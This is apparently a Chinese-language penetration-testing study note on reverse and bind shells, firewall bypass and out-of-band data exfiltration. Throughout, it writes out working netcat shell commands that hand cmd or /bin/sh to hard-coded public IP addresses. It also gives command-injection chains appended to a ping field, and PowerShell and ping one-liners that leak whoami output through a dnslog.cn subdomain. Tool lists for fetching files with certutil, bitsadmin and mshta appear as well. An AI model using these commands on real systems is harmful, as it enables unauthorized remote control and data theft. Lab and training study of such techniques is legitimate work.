学习基础入门:反弹式SHELL、无回显带外、正反向连接和防火墙出入站以及文件下载
- 常规基本渗透命令详解
- 实用案例1:文件上传下载-解决无图形化&解决数据传输
- 正向反向:
-
实用案例2:反弹Shell命令-解决数据回显&解决数据通讯
- 命令生成:
- 数据回显:
-
例子1:正向连接
- Linux控制Windows
- Windows控制Linux
-
例子2:反向连接
- Windows控制Linux:
- Linux控制Windows:
-
实际案例1:防火墙绕过-正向连接&反向连接&内网服务器
-
靶场测试ping的步骤:
- 开启入站策略
- 开启出站策略
-
靶场测试ping的步骤:
-
实际案例2:防火墙组合数据不回显-ICMP带外查询Dnslog
- 1、反弹shell
-
2、带外查询
- Linux系统:
-
Windows系统:
- 在cmd界面的操作:
- 语句组成:
常规基本渗透命令详解
https://blog.****.net/weixin_43303273/article/details/83029138
实用案例1:文件上传下载-解决无图形化&解决数据传输
命令生成(各种系统上不同操作的命令的生成):https://forum.ywhack.com/bountytips.php?download
Linux:wget curl python ruby perl java等
Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32等
正向反向:
这个图作为例子,想让Linux连接到Windows服务器,如果是linux主动链接,那就是正向;如果是Windows反过来找linux寻求他链接,那就是反向。但其实要看参照物,如果以Linux为参数物,那么他发出的就是正向,换个参照物可能就变成了反向
对于内网的机器,通过统一的路由器来访问外网,所以外网的服务器是没有办法通过正向链接来控制内网的主机,就只能通过反向来控制内网的机器
实用案例2:反弹Shell命令-解决数据回显&解决数据通讯
命令生成:
https://forum.ywhack.com/shell.php
数据回显:
就是在测试一个网站的时候,出现了需要自己输入信息的界面,这时候就需要反弹,把对方电脑上的数据反弹到自己电脑上,让自己可以往内输入信息,比如自己创建了一个用户,然后要设置这个用户的密码,这时候那边就会等待我们输入密码了,但如果没有数据回显,我们就不知道,也无法输入,就会卡在这里。
所以反弹shell就是可以一直控制对方的权限,如果不反弹,那么提交的命令就是一直在访问网站,但是反弹shell到自己这边之后,再输入命令就相当于在本地输入的
例子1:正向连接
正向连接:本地监听等待对方连接
Linux控制Windows
(nc是Windows,ncat是Linux)
绑定CMD到本地5566端口:nc -e cmd -lvp 5566
ps:Windows没有这个nc命令,所以要先下载安装才能执行
主动连接目标5566(linux主机主动去连接):ncat 47.122.23.131 5566
Windows控制Linux
绑定SH到本地5566端口:ncat -e /bin/sh -lvp 5566
主动连接目标5566:nc 47.94.236.117 5566
例子2:反向连接
目标主动把权限给出去,另一方监听
反向:本地听着,等着对方把权限交过来
Windows控制Linux:
Linux把自己的权限绑定到目标ip的5566端口:ncat -e /bin/sh 47.122.23.131 5566
等待5566连接:nc -lvvp 5566
Linux控制Windows:
绑定CMD权限到目标5566端口:nc -e cmd 47.94.236.117 5566
等待5566连接:ncat -lvvp 5566
实际案例1:防火墙绕过-正向连接&反向连接&内网服务器
管道符:| (管道符号) ||(逻辑或) &&(逻辑与) &(后台任务符号)
Windows4种--> | & || &&
Linux6种--> ; | || & && (特有波浪线的位置的那个点
和 ; )
例子:
ping -c 1 127.0.0.1 ; whoami
ping -c 1 127.0.0.1 | whoami
ping -c 1 127.0.0.1 || whoami
ping -c 1 127.0.0.1 & whoami
ping -c 1 127.0.0.1 && whoami
ping -c 1 127.0.0.1 whoami
靶场测试ping的步骤:
1、判断windows
2、windows没有自带的nc
3、想办法上传nc 反弹权限
4、反弹
开启入站策略
(也就是说限制了入站,对方限制了流量的进入,没有限制流量的给出,所以采取反向),采用反向连接
Linux:ncat -lvvp 5566
Windows:127.0.0.1 | nc -e cmd 47.94.236.117 5566
ps:注意命令的这里,如果对方没有自带的nc,那我们就需要通过文件上传后,然后把nc改成对方主机内的nc的绝对路径
开启出站策略
(就算是只是限制了出站,也可能无法访问,因为入站比出站的管理更加严格,出站被限制,很有可能虽然没有设置入站但也会被限制),采用正向连接
Linux:ncat -e cmd 47.122.23.131 5566
Windows:127.0.0.1 | nc -e cmd -lvvp 5566
正反向反弹案例-内网服务器:只能内网主动交出数据,反向连接
实际案例2:防火墙组合数据不回显-ICMP带外查询Dnslog
出站入站都开启策略(数据不回显):漏洞有,但是数据不回显
1、反弹shell
2、带外查询
让他主动把结果给出来
比如dnslog,就是说这个网站会显示出来访问过他的地址,以及把访问后的数据带回来;所以可以做命令的拼接,如whoami.xxx.xxx.xxx,第一个命令就会执行,其他的返回回来
DNSlog原理:DNS在解析的时候会留下日志,我们将信息放在高级域名中,传递到自己这里,然后通过读日志获取信息。
Linux系统:
ping whoami
.dns地址;便可以通过dnslog看到访问的回显信息
Windows系统:
因为windows缺少``这个操作符,所以不能像Linux系统一样简单,可以利用powershell程序
在cmd界面的操作:
powershell $x=whoami;$x=$x.Replace('','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z
先输入powershell执行powershell程序,然后因为powershell命令可以执行变量,这个$x就是变量,里面存储着whoami返回的值,replace是把x变量里面的斜杠替换,否则会解析错误,最后把这个结果和对应的dnslog给的地址拼起来,ping它,就可以在dnslog得到回显结果。
这样就可以在Windows系统上执行带外查询
语句组成:
127.0.0.1 | powershell $x=ver;$x=$x.Replace('','xxx');$y='.vpod5d.dnslog.cn';$z=$x+$y;ping $z
原因:
cmd无法执行whoami
因为前面执行的是ping命令,所以只会解析ip地址,后面是whoami的话就不支持被解析,也就无法被执行
ps:笔记里特殊的一些小方块是因为使用了波浪线键的另一个符号
上一篇: 通过设置安全组规则来教您如何开放阿里云服务器的端口
下一篇: 免费且最佳的8个开源视频流服务器软件